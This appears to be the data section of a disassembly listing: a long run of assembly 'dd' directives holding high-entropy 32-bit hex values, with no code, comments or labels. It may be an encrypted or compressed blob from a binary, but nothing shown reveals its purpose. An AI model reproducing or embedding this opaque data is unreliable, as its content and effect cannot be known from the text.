dd 0CF0BF380h, 0EDED0395h, 1989BD28h, 4DE69090h, 4F1F73FCh
dd 0A602C8E5h, 0E9D05AE8h, 4C0E794Bh, 0BA9C5336h, 85A862A6h
dd 73C93311h, 0EF11F6B6h, 3A20CC97h, 4179B35Ch, 2BFE2BD1h
dd 5840FC09h, 5418388Ah, 0B33573D3h, 0D05CD3F4h, 51468ABDh
dd 9AD64C3h, 306E2AB9h, 9DBCA447h, 0C9665E8Ah, 0C788B576h
dd 0DE1F3E6Eh, 8B83EE98h, 74DA74CBh, 2B2F8BD3h, 83FD87Dh
dd 92A00B9Ch, 0B53740DAh, 0D48FB25h, 582BFC05h, 0AE9D32E5h
dd 0D7726161h, 586FA4Eh, 0AAB0AE72h, 0BC1DAEA8h, 10608156h
dd 4C43C110h, 2E6EF7E2h, 0D9D952FDh, 7BE6BDD9h, 11BB11F7h
dd 0F6671BEDh, 0EF3200CBh, 7BCC9106h, 0A5AA5C08h, 86DBCBEAh
dd 8086CBCh, 0A803D993h, 825A7C61h, 66273D91h, 5C8333CCh
dd 58E2EBE1h, 591E3EF1h, 426204EFh, 4FDD12F9h, 0C2D5B1D4h
dd 0A283B8A3h, 0D92032EFh, 0B13DB932h, 791B3967h, 0E6BA5A98h
dd 2C25BABBh, 57BC7129h, 7DB915FAh, 0FB6F8E1Bh, 2F8F2957h
dd 0ED213894h, 2B16A83Eh, 0A9FC08EAh, 0B278D09Dh, 7C159ED5h
dd 56F2DB44h, 0E364E404h, 50E38E71h, 0D175CEF2h, 79B9A747h
dd 25CE5D8Fh, 74B7FA47h, 0FF2D014Ah, 264C93E9h, 0A30AE37Ch
dd 59B831D5h, 9A291F1Ch, 0CA2E23F4h, 17BEFA24h, 1AEE476Ah
dd 0FF8BFC59h, 56EF1266h, 9DF82794h, 8132696Eh, 9A9E12ACh
dd 55A2CF8Eh, 30C0BECCh, 7C5A6BE5h, 24907A99h, 0AA4E00F4h
dd 0AE269A2Ah, 0EE197AC9h, 800F0E3Ch, 0D2ECD78Fh, 0A79706F7h
dd 240CC5DBh, 317C4C53h, 22B67B03h, 0AE65B3B2h, 6D48D0F0h
dd 0C2B8683Eh, 0A1AB5DAFh, 0A93D03B2h, 61310A7h, 4C31330Eh
dd 758A889h, 0E36D0EC2h, 0AB39D3B7h, 9CB414E7h, 0FC933553h
dd 0F2DE53D5h, 0B26D99F2h, 0BB170538h, 42B81A7Dh, 1DE98EB6h
dd 45FEB687h, 0EA8595F1h, 119A0649h, 99B357F9h, 24C9648Fh
dd 5EB09AB0h, 1D1CD6E4h, 5E2E1BA5h, 36393A12h, 0F8D5A49Eh
dd 0A9BE7D0Bh, 0DBE8CE67h, 46E25AD8h, 10129AAEh, 0EE31FF01h
dd 482A9BE7h, 86BD554Fh, 0D7D91512h, 3E3289F9h, 1C856D9Fh
dd 961E7CD8h, 87237D1Fh, 0F5B52663h, 64BD7A7Ah, 0DDC72303h
dd 869D31Fh, 1C6A685Ch, 3E6396B8h, 8F0FB0Ah, 457724B7h
dd 4078FE47h, 0F639F7FBh, 0F9E6A1A5h, 67AC1825h, 0DF62B593h
dd 0EED29D5Eh, 29D07CCEh, 22E6E4CAh, 27FE5739h, 94B341h
dd 51940924h, 0A7EE9DAEh, 0D8946839h, 2573A58h, 6C2E73B9h
dd 9CA21EACh, 0FD056E5h, 0B768714Dh, 2D938E38h, 5A82B899h
dd 52B03B01h, 3BE596AEh, 0DFD815E3h, 4E3B33A1h, 5E4117DFh
dd 6C539707h, 0C6407667h, 0CCCB0896h, 0E5DA66FCh, 2B652F53h
dd 0DEB12BF6h, 8A374134h, 0B67D092Ah, 55738017h, 5D63EF0h
dd 3C9041AAh, 6569FD1Fh, 594B57C9h, 15A7711Fh, 348DA892h
dd 0ED75472Dh, 0A64D5101h, 255574CAh, 83CFACACh, 0C21F63AFh
dd 1CD888BDh, 15061D4Ch, 6C8EC396h, 31FA43F7h, 1E339515h
dd 5F20FB4Fh, 0F4AF6D9Bh, 0C6912A09h, 5780ABE5h, 0CAEB032Ah
dd 635ADEA3h, 0AB8337F0h, 3B388BDCh, 0B9A92202h, 757ADA1Fh
dd 0B791F1DFh, 0D45D5E82h, 1F1BEB1Ch, 0DEB2A725h, 0AE0ACB29h
dd 0EF6B5005h, 0CA770493h, 6E9859D7h, 0EEEA0C4Eh, 0B57C52BAh
dd 5E3EAB4Dh, 6B6F7F61h, 0AA3BBAF8h, 1557633Ah, 584CCC09h
dd 279CEAFFh, 0B43CD78Bh, 89D8EFC8h, 0D2F5F81Ah, 94020681h
dd 0EDE692C9h, 7F6EEE49h, 1D29A5FAh, 1ABDCFAAh, 0DE0A9A9Fh
dd 4E0C32FEh, 0FAEC0953h, 1D43A16Bh, 907127DBh, 0C889D510h
dd 0BE889E88h, 9B9D8D19h, 7BA40A62h, 5EBBE7C8h, 0F9405D4Eh
dd 25F4EB37h, 0B16D267h, 480CAA3Ch, 95E1101Dh, 0E38EA8DDh
dd 0CE0D613Eh, 9DFDBCA6h, 0BE236FA2h, 8470264Eh, 551B76ABh
dd 0B2E70F31h, 0FF7967EEh, 240D923Bh, 0AAFCD426h, 3FCF7CBAh
dd 8AB8F7F1h, 0A87CE9F1h, 5309D2D2h, 0DBD60422h, 0E302FC3h
dd 0F49BFB0h, 0AF998669h, 13A4EA4Bh, 242D2206h, 0CAE708DCh
dd 0FD4DF61Ah, 41860CB6h, 2B68B6A1h, 0C0770259h, 0B04C7506h
dd 4F15DA4Fh, 519B3320h, 0E1EEEBD7h, 213BAD5h, 509DF76Ah
dd 927A1A3Ah, 0EC605F70h, 0FD59A780h, 2565FFACh, 249C7E86h
dd 0EE7E668Eh, 5809092Ch, 7BCCF772h, 0A5E82D3Ch, 0ABEC37AAh
dd 0D4B2BA7Ch, 0E8600254h, 109867D3h, 0EBB52CFDh, 66D96F51h
dd 1A99F57h, 87FC71F5h, 27E819Ah, 0B0F8A4ACh, 50614C8Eh
dd 4A236208h, 0F8B5D55Eh, 7EFC4540h, 2A0AE604h, 0EEE9899Fh
dd 8FEE2C17h, 0E0ECDD5Ch
dd 0D941D5C2h, 23EC2D5Bh, 5EBD5A40h, 0B5995793h, 6C77D9E6h
dd 3B7335A6h, 9D9B22B0h, 9A0715ECh, 0A6BCA0Fh, 48FE52C6h
dd 66B7D28h, 50825A57h, 0FC3A1E6h, 0EA9B14E4h, 3125E873h
dd 0BD437304h, 2F65BE2Dh, 9FF707D7h, 672B2135h, 19671145h
dd 0D82C187Dh, 0FFD9571Eh, 33948C88h, 0E77F5F0Bh, 91EE878h
dd 0A13684F6h, 0D011DFD1h, 7305BE44h, 36B1ABAAh, 0B432922Ah
dd 3B05507Eh, 5DDD7C57h, 560C129Eh, 0FB7F8A4Bh, 42E2299Bh
dd 43208CB8h, 366DE476h, 28EB6488h, 0EA4B6BB6h, 5FDE8C3Bh
dd 0BDE622C3h, 0DFA8F264h, 10A75365h, 32AD1024h, 1F1E8915h
dd 326292D1h, 9B11135Bh, 5730B26Bh, 0D5133276h, 0F39AB568h
dd 0C92D7D2Ch, 0B2CB7122h, 15A3F487h, 0A0D9600Bh, 640E2455h
dd 7CFD687Dh, 0A7E53BE2h, 3371DC10h, 0C026CC86h, 2587C302h
dd 6FE40C9Dh, 1D99CE36h, 5F2AFE8Fh, 0A4A15BBh, 2E4CEAB4h
dd 0DB2DA8CEh, 0C0AAC385h, 0DA727760h, 0BA899E81h, 48AA638Ah
dd 408E6526h, 9B00C7D0h, 704BBD60h, 164608F6h, 7B5179F8h
dd 0CA94DDF8h, 81F298B9h, 8454ED02h, 0C8515387h, 0CFE6B46Dh
dd 43C32F39h, 0BFE57007h, 7E632853h, 8F27E33Fh, 0CBCC2FEBh
dd 3EE129D5h, 4D462ADh, 4EF0AC3Fh, 9D9A0BD0h, 22049E5Ch
dd 6A988A94h, 1EECED1Ah, 0A7C48035h, 5BF9643Eh, 0A709E832h
dd 0BFF8DC38h, 34ECF3E8h, 0D4BEE6CEh, 0FFC3B243h, 0FE7DCC7Ah
dd 3F5E60D6h, 13E02CCFh, 33254ACFh, 0FBAD8C4h, 7A5BDB5h
dd 0E5ED5FE0h, 1A72B54Ch, 0FE692942h, 0EA2D5A34h, 7D01393Ch
dd 0A6B82778h, 0A24EB035h, 7A5B1B28h, 23B10254h, 715F3254h
dd 13A22C3Bh, 442D5FA0h, 32E38B06h, 5549B6E3h, 229F1EFh
dd 47C93C13h, 46215F97h, 0CDD1C248h, 11BC0587h, 3709AECFh
dd 9D6C35B0h, 57FA65Bh, 0D79D14E8h, 4F5FF028h, 7A41119Ch
dd 30D10993h, 3AFCD308h, 5AC6316Ch, 0BCEC11Fh, 0EE2EA789h
dd 3AF7A7FEh, 0F8EF7077h, 594DAF46h, 8C94D61Ch, 8FA6E789h
dd 4282C5D0h, 0D1A11304h, 397DB208h, 9B6526E4h, 0F77E03CFh
dd 9632963Bh, 648FC4FEh, 0DFCF559h, 0AC211182h, 0A88EDAEAh
dd 2B82F4Bh, 0A31EED6Ch, 0B6F34D0Ah, 0E32AA08h, 0D5EF320Ch
dd 14370589h, 1E591FCh, 6D362E27h, 0CF8AEC90h, 80BA6C83h
dd 0D573716Eh, 958BF272h, 0ABBF8BC8h, 0C6744955h, 0DF795169h
dd 8FFA12EEh, 46667D87h, 24C05E7Dh, 23A4A043h, 0E5572150h
dd 0BF7E0D8Ah, 0E17403BEh, 0E28A0848h, 26F5CDC1h, 9B7B553h
dd 0F819F7Fh, 6B04AED4h, 0D18F8DCAh, 0EC7426E8h, 585CAA92h
dd 0FB0F6025h, 0A7DB5FD2h, 0C6DA7E51h, 71F5309h, 580909CEh
dd 0E612E2F0h, 93987977h, 6D34B8C9h, 529B42CBh, 20A8B01Dh
dd 30E31173h, 0A690FF0Bh, 0DCEC48C0h, 0CF20F994h, 84908A8Fh
dd 366570Eh, 6A6097A9h, 88AD497Ah, 0CE54753Ah, 0EF36EB16h
dd 0C1F3AAFh, 491E6BB5h, 0DAA97A1Bh, 0FD36627Ch, 9F4A3572h
dd 48A69837h, 986A7C0Eh, 0BE2AA09h, 0C5D0C97h, 15B50F9Dh
dd 59E8F6F0h, 0A21737E6h, 0B637F3FAh, 854807B2h, 4B1898C2h
dd 7F8D7E59h, 5E48F54Ah, 260B76Dh, 0BEEA7A86h, 9F277F7Ah
dd 60B4A755h, 0B8092159h, 40C9CA0h, 22896C9Ch, 3E340C92h
dd 54FDB9Dh, 13522DFEh, 7EC64F6Ah, 56B94597h, 0B889329Ah
dd 492AE35Bh, 0F2DF9842h, 0F4B15F17h, 0AB8C3526h, 0C08DA98Ch
dd 865DB548h, 1306F51Ch, 0FD18A3DCh, 0D6B6CB42h, 0C05A2F20h
dd 0B22DC6FBh, 0BFCD9BD7h, 95846CCAh, 0E1BC80FCh, 0CF0C5BC0h
dd 8A95C24Ah, 5BD25D52h, 53785524h, 317F93h, 44DFEDB6h
dd 0AAF2931Bh, 498C938Eh, 78654967h, 4FF99956h, 575128A5h
dd 0AA69F8B2h, 0ADC4854Ah, 0AAE4074Eh, 0C49BC498h, 0B96597DAh
dd 0AF7B504Ah, 0A9DBF043h, 0C7BB663Eh, 9D89254Dh, 7712FF7Ah
dd 0E22CF322h, 1CE9D2BAh, 0C947A8DEh, 8B0664F6h, 6118BEAFh
dd 0AC3C1333h, 0D707243Dh, 0C62CF05Dh, 9F30BEDDh, 58A1D6AEh
dd 0FB22D43h, 4A51EEFFh, 0E0E83C1Fh, 0E7E85CDFh, 553F37CBh
dd 0E6A536C8h, 0A908EAFDh, 0B1BDA340h, 0E6F9C8A8h, 8E55991Fh
dd 4A895328h, 0FCA757DFh, 2CE252F9h, 0FCFC393Eh, 0FBEB2B4Dh
dd 0DD0AC4D6h, 4A6BF0F8h, 91EE2F0Ch, 0FF6BB884h, 7C304D9Ch
dd 37D2CC3Ah, 51C9155Fh, 0B086BA2Fh, 0CAE6A65Bh, 328978CFh
dd 694589D8h, 0D8A7AC9Ch, 766FE111h, 0F6DD1C81h, 0C2E9180Fh
dd 0A9DE1DC7h, 0E25EDEB7h, 936A5D1Dh, 0CE13EA5Ch, 6BBF8369h
dd 0AEAE35ABh, 0FEE360ABh, 87023752h, 1E0810Ah, 0BB6BCC8Ch
dd 0EFC4D495h, 2531F7Bh, 53D511C0h, 0CBB25FEBh, 0BAFDCBE8h
dd 16D28DC1h, 88EDB70Ah, 1B628BECh, 375E5C4Ch, 78CE806Eh
dd 8E149446h, 3852B5CBh, 345BE440h, 5565C5ACh, 0CE72FD1Eh
dd 4C5CF641h, 16E55C9Fh, 7AEF18EFh, 0A664AFCBh, 413D88FAh
dd 0BCADDF8Dh, 0EBC2057Dh, 687C8217h, 0DE928600h, 48A1B2D1h
dd 0A212059Fh, 63B81A7Bh, 23ED80D6h, 4CBF3C3Fh, 7C5207B4h
dd 7122048Dh, 0E75CDC0h, 12A09D4Ah, 5915CB2Fh, 56E1002Ah
dd 29600B56h, 3B5134E7h, 3938ADF1h, 29364F3h, 0E3163540h
dd 0A148507Eh, 1E60C615h, 9554597Eh, 0D6E9132Dh, 9DA4512Ah
dd 80BB29AAh, 0FDF3FE62h, 8DDE753Ah, 5102DDF9h, 0D73ED511h
dd 781F8C30h, 642B83B1h, 37EA3AD4h, 27D1680Eh, 8A4FA491h
dd 0A60C005Fh, 6B6D271Ch, 0B2C8CFC2h, 7EB9BD46h, 0EE66AF54h
dd 0BCD40766h, 0E4103BE5h, 7C23FAC2h, 0BFE9CC61h, 4D098F7Bh
dd 0B52643F5h, 5DF72C7h, 4BBF73F5h, 0ED4AECBBh, 8A7ADBC3h
dd 78B6D27h, 26F012C5h, 330B822h, 353701AFh, 0B6BB758h
dd 0A921A017h, 0E9738BBCh, 0A3B33EA1h, 0FFD14B6Bh, 484F0D09h
dd 0F92973C2h, 64982E99h, 1093C081h, 46F2CB46h, 0CCFA1F5Eh
dd 0A80E54BBh, 363E6A84h, 265FB57Eh, 3564C3F3h, 0A55FD3BAh
dd 3C516C06h, 629961Dh, 560ABB1h, 9BF851E9h, 4A58F711h
dd 29E8FAB3h, 57E987EAh, 0CD11AE14h, 4F332F49h, 0FE861FC4h
dd 0E15CB14Eh, 0D99D9D2h, 0B09FDF7h, 0D9BDE1AAh, 0B113D05Ch
dd 0D7C208BEh, 9632EAF5h, 3234EA08h, 6B0FE0B2h, 1ECE4EDAh
dd 5A542974h, 0A4C9DDE7h, 0DE8E0210h, 0F3D51808h, 52978EB3h
dd 49DAB0E7h, 7263B6B6h, 71120C8h, 98BE8EC9h, 82F7E3CEh
dd 397F3A30h, 2CA7EF53h, 1C59B0B0h, 4FE6C7B0h, 0F1C1BDE1h
dd 0BAB17675h, 290EA207h, 0AD7DBFF3h, 0E26E28C2h, 0F1FAF52Eh
dd 0E461CDEh, 883D463Ch, 13425834h, 0E21AA3E4h, 0F05263A8h
dd 0B4E6B23Ch, 14511236h, 996ECF40h, 0B16D2372h, 0F58B4A7Ch
dd 4E1FFED8h, 34285DD0h, 26AD10A1h, 5095C623h, 97F79596h
dd 0AC41A320h, 0EE444E9Dh, 0D16C93F8h, 12205F5Eh, 0E9B8519Fh
dd 0F9C20639h, 8DF2A044h, 81F2AF12h, 1BD3C453h, 16A016F5h
dd 1DE8FBBAh, 359A89A9h, 0CA131703h, 0F780DC07h, 0FE58CEE2h
dd 0E98CB18Dh, 4DD1AD5Bh, 0F8F0EB1Eh, 500B21AEh, 0A2124D20h
dd 195DE33Fh, 78FA259Fh, 0BCC31B38h, 1D247405h, 0E5C840CCh
dd 0B6BFFDBBh, 36BB96CBh, 6F2AFCD0h, 92C64997h, 2BE579FBh
dd 9CA96DAAh, 0C27334B0h, 3330AD41h, 0CD57F1B9h, 75BE2D86h
dd 0C8C7EF84h, 0D57860C7h, 0D198A23Fh, 54447CEEh, 9FEE323h
dd 4EF73E16h, 0A9535321h, 0F888F50Bh, 51361E2Dh, 7E0E999h
dd 155FA76Fh, 17E7AB55h, 0B6C3EF92h, 35DD1148h, 896B7848h
dd 8ECFBE39h, 812DC72Fh
dd 1CA14906h, 654CCC43h, 0A890B11Ch, 1646C58Fh, 0A904876Bh
dd 0AEB68DEBh, 77A9EC7Fh, 924C8E5Bh, 0B8107C3Ch, 942A95E5h
dd 41C1346Ah, 3137194Fh, 26124216h, 290E3DF7h, 0EE8FB81h
dd 8C086C01h, 14984CBAh, 0A2E94276h, 0AC68F84Fh, 0CC145AA1h
dd 5F996A5h, 0D6FF19Ch, 0FE967168h, 0B4CA9F4Ah, 75637A4Eh
dd 0CD80775Ah, 739723D3h, 9BD0608Dh, 0A832A242h, 0A5E2F124h
dd 3C723993h, 0D444917Ah, 0F1A0F962h, 2C5951AAh, 2063EAEAh
dd 30BC8D78h, 0A7B08C65h, 821E4514h, 385EDE73h, 62D994CFh
dd 7D84DCD5h, 0C3E13747h, 6D3D6908h, 0FDA6BEADh, 0C5E1010Ah
dd 777383A0h, 7DC807E7h, 67D079BBh, 0D53F3866h, 0D9FE61CCh
dd 0A401B488h, 0C46264D3h, 4C90360Ah, 0A0F6CB32h, 6276794Bh
dd 990E6FFEh, 704B1790h, 61208BCCh, 5B754BFFh, 82668B3Fh
dd 732C0B05h, 3888BB8h, 0AD402243h, 6A81C922h, 2B3D71CAh
dd 5A2A396Ah, 9AFFE2FDh, 0D3445FD7h, 7D2F9C64h, 8D1638AAh
dd 0D996EE2Eh, 9053D99Dh, 0B2E1E538h, 0F7F38D85h, 8BB45B96h
dd 9F619D1Ch, 0DF708548h, 270EBABDh, 0CF6A811Bh, 7340A16Ch
dd 793CFD12h, 53D337ECh, 0D77FB3FCh, 0A91396F5h, 88DC8FEh
dd 847B9484h, 0A498A022h, 509AA451h, 0E0B1A424h, 0A19665D5h
dd 67702038h, 0BC0B2775h, 4176925Ah, 51E7F8CFh, 74320931h
dd 2253F79h, 542FFD40h, 125F478Eh, 0D09069B0h, 65DC1C6Eh
dd 0C946EC1Ah, 23F9BBF9h, 5BBB2CDEh, 3F2030B4h, 12BB66F5h
dd 0B9D4521Bh, 36791E2Ah, 0A3916DCFh, 0A187BC1Bh, 9D7B60AEh
dd 375FB115h, 0C80D78B0h, 337DD731h, 4F4AE8A2h, 0F61E2C58h
dd 108A3B38h, 6217D1E4h, 584F302Bh, 23911A98h, 676E2CB6h
dd 18A22F37h, 0BBF01FFDh, 0AA981D57h, 0CD59EEF9h, 0A21D8530h
dd 0C25ED50Bh, 0BE710875h, 608B739Dh, 75F77980h, 0F323D670h
dd 7B98294h, 27BB4F51h, 19001342h, 945430DBh, 7239EF53h
dd 0AD69B2F7h, 0F162D521h, 2DBAF68Ah, 171360B6h, 0FEF2313Ch
dd 53854B2Bh, 0B93CCC5Fh, 5B39E04Ah, 2D587502h, 6EB860CCh
dd 692CF0AFh, 0D4110141h, 8845EA6h, 0F9C15B2Bh, 3CCDBAC8h
dd 649B0175h, 103B3E73h, 0C8E84369h, 49625763h, 995770B7h
dd 0A0B69BE7h, 600EA68Ch, 40946F48h, 69986F2Ah, 1F25E4DCh
dd 0E6FDB064h, 0D0612A95h, 3175C97Ch, 0E828AF2Ch, 10E47625h
dd 0D35A73C2h, 0BBA04680h, 0A6D8E586h, 10728BD9h, 9BD146D1h
dd 0AB84168Bh, 476B123Bh, 0CFA44F80h, 5FC758D2h, 724D1A5Fh
dd 0F02AD60Eh, 1769F5A9h, 0DEE4D370h, 2E05B7B4h, 357693B8h
dd 69BF910Ah, 7086B51h, 0BF85C387h, 6C8EDAFCh, 8BC5A86Eh
dd 0C4DED6C9h, 54432B88h, 0F203D963h, 0DA75A5F6h, 0DCF6C9D7h
dd 44328F89h, 4137A102h, 50C30D0Eh, 0DBF2985h, 0B7176A8Ch
dd 0F04969A4h, 0DE14115Bh, 0AA249277h, 4258888Bh, 0F03E90EDh
dd 2A73A616h, 880E18E3h, 0D04A430h, 8EE2F24Eh, 77131AE4h
dd 0E00E5086h, 5027C521h, 1854FEE3h, 0E58BFFDDh, 0A7D6B02Ch
dd 9B742838h, 0D5B0CEBDh, 0B707F4E3h, 8AC87F63h, 66E4FD65h
dd 0DBD23E0Ch, 0C3A5563Bh, 0B4DF0BA9h, 60876F4Eh, 0FC4D8724h
dd 2CAF6175h, 0DA51B3BDh, 66A8D713h, 0B03AE48Dh, 0A0CFE058h
dd 934A89AEh, 0A23D38BFh, 0B4E05142h, 2B5E0A48h, 0F7165B89h
dd 2A82E340h, 3AB16542h, 5662C790h, 929BA5C6h, 0D434B6EEh
dd 9E1F42AFh, 237A6C30h, 947BC802h, 8B7C12FCh, 24AED516h
dd 1675342Dh, 0D22337ACh, 8460C0B1h, 0A97BA1A1h, 26D60C87h
dd 9513C2DCh, 3A988C3Ah, 50878075h, 667789A3h, 3662FE6Bh
dd 9C54B8F6h, 0C5B027F2h, 3ABAEA09h, 0C879C32Ah, 62C9CB15h
dd 8262CAFCh, 0DFE658E6h, 390D1469h, 786D7572h, 6172B377h
dd 8A66690Fh, 5717ADFBh, 0AF64B945h, 1289092Dh, 69085435h
dd 136C8215h, 0D85DC3Dh, 0FD01FB03h, 26EBA732h, 751A1DE3h
dd 0E897CCDDh, 0D4F4599Bh, 0C102DC52h, 0E38E4BC2h, 13FB8B87h
dd 34BE512Eh, 517099E2h, 361958DAh, 4BC1B35Ch, 0BD1A0F95h
dd 76454F2Eh, 1A26562Bh, 3EA50E46h, 0AC851F0Bh, 9E6B290h
dd 675FA54h, 0EE17A07Bh, 0DB3A2074h, 36AD10DCh, 0E4681ED0h
dd 0E5BF82Fh, 0C92041D9h, 9B730B42h, 0C2834A9Fh, 6CC73A3Fh
dd 203AEC6h, 7F553CF7h, 0B8B475Bh, 0B1B16336h, 376547E1h
dd 7A331402h, 35C63497h, 0C6DE9623h, 7CC9B9E4h, 0DF6BE4Ah
dd 0A3C62DA6h, 96EB9B79h, 8BC5E52h, 0B0AA3499h, 856E7469h
dd 2115BFA9h, 190ECEDDh, 3AD88EDAh, 5B722125h, 0BC26FF5h
dd 3C49268Ah, 5C29A0C3h, 2634623Fh, 218381D0h, 3CE47CDAh
dd 64A5522Eh, 0EA46E6A2h, 0E53925AEh, 1A915584h, 156A8A27h
dd 9730ED89h, 7A913C8Ah, 3BE5DEDh, 46156600h, 65CCBCC7h
dd 0D594C825h, 98320DBBh, 0A785CF7Ah, 50360788h, 0A171615Dh
dd 1A23CDFFh, 9ED6E9ADh, 0CD82164Bh, 0CC5918A0h, 5F6B34C9h
dd 5F59F3C7h, 4436F11Ah, 527A2088h, 79E1DBD8h, 5E8966FDh
dd 2092C358h, 685D30F6h, 0D01281F4h, 0C492CA02h, 0E503180Dh
dd 0F2150739h, 388C5D71h, 0CE7AEh, 0F5AF09ACh, 0AC1EED74h
dd 0D9FBE438h, 75523992h, 7C6242C2h, 7863A368h, 1E18773Dh
dd 40C5CF3Ch, 0D49F12DBh, 97914E0Ah, 3499C495h, 0CC3A32CAh
dd 5B18AA79h, 24F9CE38h, 85CD5B20h, 93F02E2Ah, 107DF47h
dd 9401F518h, 0EA372CBAh, 0EAC406FAh, 993F5E3Ah, 42BAD376h
dd 0A32AFD59h, 7D5E4729h, 6716D10Eh, 0A1AF0E59h, 8A36F9CCh
dd 2B421A39h, 0CD996DB8h, 669A81A5h, 0D911A63h, 0D4171234h
dd 0ACE5034Ah, 0B1D7ABBFh, 0D104AEB5h, 2648F170h, 51D0D093h
dd 3E215BC3h, 4EC02CD2h, 0B3379C8h, 4904F3CFh, 384BF162h
dd 0B7741857h, 0FF6600B7h, 8EA180Ch, 0FEDD99CDh, 0BE90006Dh
dd 1B18EF65h, 0B7480DEh, 0A19844E2h, 0E2E66EA5h, 9BC45431h
dd 4FEE456Eh, 0CD0CF081h, 0F9A4E9A7h, 0FFD16E88h, 5C24712Bh
dd 7942CF09h, 54B176A3h, 0CF37642Bh, 7D0E17Bh, 12C72E16h
dd 51141298h, 86007CFEh, 3EC2393Fh, 3FC4C959h, 0F3D684C3h
dd 1B1201FAh, 73A7F9CDh, 96D39066h, 74F5409Bh, 0D5568A4h
dd 0A9E64B07h, 0E67F2A75h, 5DB05BABh, 83304108h, 5E6B53E1h
dd 0F46F36A6h, 217219ECh, 0C8AE8C08h, 0AB672364h, 0CB525040h
dd 0A736BBCCh, 9DA067D9h, 41463FCEh, 19763FD4h, 0A8C9BE84h
dd 0C7896521h, 0F8FF4436h, 0F8260072h, 987210CEh, 3E3A9EB9h
dd 0D1C74F79h, 337032AEh, 63FF5A7Bh, 0F74FEE43h, 3D178BCBh
dd 7F0D269Bh, 1C3FF7D0h, 0C853E0C1h, 0A830597Fh, 0CF391D4Ch
dd 0F9DA33F8h, 84CA3915h, 0E276456Eh, 0CE8F03B8h, 0DF6CD1F9h
dd 43F146F6h, 45B543ADh, 74B10A0Eh, 0B3CE61DDh, 849562D5h
dd 0BD483394h, 53FC61E5h, 0F93A4C44h, 93EF4FF6h, 0A2FA5AA1h
dd 68F5ED62h, 6F68C179h, 7524C074h, 0E303BF9Ch, 0D777F580h
dd 0F5FF6671h, 6B0BED53h, 46EF9484h, 4FADEC6Dh, 0C6BDC516h
dd 0FBDE439Fh, 46453557h, 94635457h, 3A1EBD23h, 986547AEh
dd 54F62D79h, 0EB98F7C6h, 9253C272h, 0E574CDDh, 8E520AB0h
dd 2D3206DDh, 0C6EFAAB1h, 0FED303B9h, 0FCAEAC46h, 0C9F35D97h
dd 0AE2D075h, 3AD1C030h, 5850D499h, 44B04197h, 3EC20077h
dd 1CBE8AEAh, 74188F75h, 0D0E1A791h, 0DFC41424h, 2598523Bh
dd 47659F40h, 4328883Bh, 2E50FE14h, 741B2542h, 27110485h
dd 4CF694BFh, 9090279Bh
dd 0A1FB505Eh, 0B892E659h, 0B0B09C81h, 6C1E1D3Dh, 3DB54F78h
dd 44C80D62h, 6DC32401h, 0F59D3813h, 0B4010FBBh, 0E8FEBDAFh
dd 0C1EC8229h, 0AABE9CD0h, 0FFC3AF4Ah, 456B31A8h, 5ADC2584h
dd 55CBB515h, 0F4D47458h, 1D1E7225h, 17A7EDEDh, 9032944Ah
dd 0E0D0852Fh, 36D44D26h, 255B0F04h, 82F826E4h, 1F420C94h
dd 0D193DD7Eh, 7C8A93ACh, 5FD7975Ch, 58F18B6Eh, 0E2A9003Ch
dd 3BE6A10Ch, 9204BB47h, 74AC1042h, 50A18529h, 177111DDh
dd 4CD91758h, 0BB0F9E20h, 46C08700h, 63351EEBh, 0A1A65143h
dd 986DD6ADh, 40013C69h, 0CB423999h, 1ED9CD89h, 0F78D1DDh
dd 0C828D98Bh, 0D4E8DB08h, 362231ABh, 0D7DF58ABh, 0C22C06E7h
dd 15297DBFh, 1900C77Dh, 0F71F1841h, 0F7E6BFCDh, 57AAE96Fh
dd 97944FB3h, 0F91D936Ah, 4504F424h, 74E7E3E5h, 0AD4D3BF1h
dd 5C324EFFh, 604C9BEDh, 0C1A83B95h, 0DADB8C4Dh, 592A609Fh
dd 0C96A8DE3h, 0D5358281h, 0BC093C7Dh, 8CF01BDBh, 3AA16F3Dh
dd 9229779Bh, 0C20CC2F9h, 0EE5672BDh, 0B36A8B36h, 0E27581D7h
dd 0EEDDA1FFh, 0A88D56CFh, 0E08DEAB1h, 87862171h, 495E6F98h
dd 3B8B5EE6h, 2C3B8924h, 0E1EC93ADh, 65799F46h, 5D5C22EEh
dd 267E8806h, 0CA6C862Dh, 47BAE63Fh, 65804CB3h, 1301D803h
dd 89AEC854h, 6EA5C5E4h, 0B7B10A11h, 8AD31CD6h, 6097C112h
dd 3111E273h, 0EDC01527h, 0F9EE3F41h, 0F9DA5637h, 0CBDB36C4h
dd 476AB614h, 252EBF58h, 96ED3881h, 4A57433h, 0C4B3B6C8h
dd 0EDA43C4Fh, 1CAC4825h, 945522E2h, 0F31D3B0Dh, 3FDFAC9h
dd 1938F71Dh, 0D7803085h, 0B416ED2Eh, 7C9A3D0Bh, 74224493h
dd 0DF66AFCAh, 0CD9DC2Ch, 50F55B63h, 2BB271F2h, 0E71515AFh
dd 42E33AC1h, 704D007Dh, 87989B66h, 8CBAAD52h, 5BBEFA66h
dd 7DF4D4F7h, 511621EBh, 0D00B7AB7h, 0DF220D5h, 0A9F355A1h
dd 75FC745Bh, 5946FB03h, 6F352153h, 4C145E37h, 76F65EA0h
dd 0D5AFC4CBh, 0E8496EFDh, 0B3E26D51h, 4296F097h, 3E7D500Ch
dd 0CDD4C8FBh, 3ED27413h, 967EF23Eh, 9BE0B218h, 6D8F0BEh
dd 235C683Eh, 46A14EBFh, 0C16FC51Ch, 76FC0344h, 0C109F971h
dd 57C55187h, 0CBC4A1D4h, 616C5682h, 65562A7Fh, 0C258E819h
dd 9D26F54Eh, 365537BBh, 19E7BE1Fh, 0A566074h, 159015FFh
dd 0D3237611h, 6500C48Fh, 8116032Bh, 4C41CE25h, 136E4DD1h
dd 0F7F351E7h, 3CE561DAh, 2FC1D1DBh, 1B509948h, 597EDA20h
dd 887D2179h, 0C3197DF7h, 0CE46DF85h, 64E5E13h, 0BC3D49A5h
dd 24EDA2A8h, 313548EBh, 0CB21FFC4h, 52A09378h, 49C3CD6h
dd 0B5A02048h, 0C12EB97Ch, 0ED6A3420h, 7043E083h, 0FC2463DFh
dd 0E1F26BCDh, 0CD5C4034h, 0B1E7974Ch, 386F132Dh, 0D5FFD2C0h
dd 937D51ABh, 9FE4848Fh, 5D2C91Dh, 1484AA70h, 0FB7852B1h
dd 76C2CD30h, 7E27CE73h, 6359C870h, 31073375h, 0CA199F03h
dd 0D93715C2h, 0AAAA9785h, 6364B00Ch, 0F1DCDBB1h, 0BAF530Ah
dd 0B34539FCh, 86B395FCh, 7E19545Dh, 9344036Fh, 5F9FB09h
